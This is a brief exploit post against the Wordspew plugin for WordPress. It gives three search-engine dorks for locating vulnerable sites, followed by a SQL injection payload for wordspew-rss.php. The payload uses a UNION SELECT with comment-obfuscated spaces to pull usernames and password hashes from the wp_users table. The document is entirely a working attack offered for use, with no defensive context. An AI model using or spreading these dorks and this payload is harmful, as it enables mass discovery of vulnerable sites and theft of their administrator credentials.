DORK 1 : allinurl: "wordspew-rss.php"
DORK 2 : allinurl: "wp-content/plugins/wordspew"
DORK 3 : allinurl: "wordspew/wordspew-rss.php"
EXPLOIT :
wordspew-rss.php?id=-998877/**/UNION/**/SELECT/**/0,1,concat(0x7c,user_login,0x7c,user_pass,0x7c),concat(0x7c,user_login,0x7c,user_pass,0x7c),4,5/**/FROM/**/wp_users